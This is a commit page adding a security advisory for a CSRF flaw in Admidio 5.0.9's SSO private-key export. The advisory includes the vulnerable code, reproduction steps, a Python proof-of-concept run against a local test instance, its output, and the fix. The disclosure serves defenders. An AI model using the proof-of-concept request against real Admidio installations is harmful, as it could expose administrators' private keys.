Skip to content

Commit b4e2bb2

Browse files
1 parent a4c83fd commit b4e2bb2

3 files changed

Lines changed: 182 additions & 0 deletions

File tree

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4rgq-38mh-9xqg",
4+
"modified": "2026-05-29T22:07:24Z",
5+
"published": "2026-05-29T22:07:24Z",
6+
"aliases": [
7+
"CVE-2026-47232"
8+
],
9+
"summary": "Admidio PKCS#12 private key export action lacks CSRF protection",
10+
"details": "## Summary\n\nThe sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.\n\n## Vulnerable Code Links\n\n- https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94\n- https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150\n\n## Vulnerable Code\n\n```php\n// modules/sso/keys.php\ncase 'export':\n// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n$keyService = new KeyService($gDb);\n$password = admFuncVariableIsValid($_POST, 'key_password', 'string');\n$keyService->exportToPkcs12($getKeyUUID, $password);\nbreak;\n```\n\n```php\n// src/SSO/Service/KeyService.php\npublic function exportToPkcs12(string $keyUUID, string $password = '') {\n$ssoKey = new Key($this->db);\n$ssoKey->readDataByUuid($keyUUID);\n...\nopenssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, [\"friendly_name\" => $name]);\nheader('Content-Type: application/x-pkcs12');\nheader('Content-Disposition: attachment; filename=\"' . $filename . '.p12\"');\necho $pkcs12;\nexit;\n}\n```\n\n\n## What Does The Code Mean\n\nThe export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.\n\n## Why The Code Is Vulnerable\n\nThe route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.\n\n## Verification Environment\n\n- Application: Admidio `v5.0.9`\n- Runtime: Dockerized Admidio + MariaDB on `http://localhost:18080`\n- Validation mode: real deployed application, not isolated unit tests\n\n## Steps To Reproduce\n\n1. Log in as an administrator.\n2. Create or seed an SSO key pair.\n3. Send a POST request to `/modules/sso/keys.php?mode=export&uuid=<key-uuid>` with only `key_password=ExportPass123!` and no `adm_csrf_token`.\n4. Verify that the response returns `application/x-pkcs12` and that the returned file parses successfully with OpenSSL.\n\n\n## PoC Script\n\n```python\nimport os\nfrom pathlib import Path\n\nfrom helpers import BASE_URL, login, new_session, save_json, save_text\n\n\nKEY_UUID = os.environ[\"ADMIDIO_KEY_UUID\"]\n\n\ndef main():\nsession = new_session()\nlogin_result = login(session, \"admin\", \"AdminPass123!\")\nresp = session.post(\n f\"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}\",\n data={\"key_password\": \"ExportPass123!\"},\n)\nresp.raise_for_status()\n\nPath(\"/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12\").write_bytes(resp.content)\nsave_json(\n \"pkcs12_export_csrf_result.json\",\n {\n \"login\": login_result,\n \"status_code\": resp.status_code,\n \"content_type\": resp.headers.get(\"Content-Type\"),\n \"content_length\": len(resp.content),\n \"content_disposition\": resp.headers.get(\"Content-Disposition\"),\n },\n)\n\n\nif __name__ == \"__main__\":\nmain()\n```\n\n## PoC Output\n\n```text\n{\n \"content_disposition\": \"attachment; filename=\\\"Runtime_Test_Key.p12\\\"\",\n \"content_length\": 2644,\n \"content_type\": \"application/x-pkcs12\",\n \"login\": {\n\"cookies\": {\n \"ADMIDIO_admidio_adm_SESSION_ID\": \"jpk70tcvbaq3gof7lqdq6penkb\"\n},\n\"csrf\": \"ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn\",\n\"json\": {\n \"status\": \"success\",\n \"url\": \"http://localhost:18080/modules/overview.php\"\n},\n\"status_code\": 200\n },\n \"status_code\": 200\n}\n\nMAC: sha256, Iteration 2048\nMAC length: 32, salt length: 8\nPKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256\nCertificate bag\nPKCS7 Data\nShrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256\n```\n\n## Impact\n\nA cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.\n\n## Remediation And Suggestions\n\nRestore CSRF validation and require a POST body token before exporting private key material.\n\n```php\ncase 'export':\nSecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n$keyService = new KeyService($gDb);\n$password = admFuncVariableIsValid($_POST, 'key_password', 'string');\n$keyService->exportToPkcs12($getKeyUUID, $password);\nbreak;\n```\n\nFor additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "admidio/admidio"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "5.0.10"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 5.0.9"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-4rgq-38mh-9xqg"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/Admidio/admidio"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-352"
54+
],
55+
"severity": "MODERATE",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-05-29T22:07:24Z",
58+
"nvd_published_at": null
59+
}
60+
}

0 commit comments

Comments
 (0)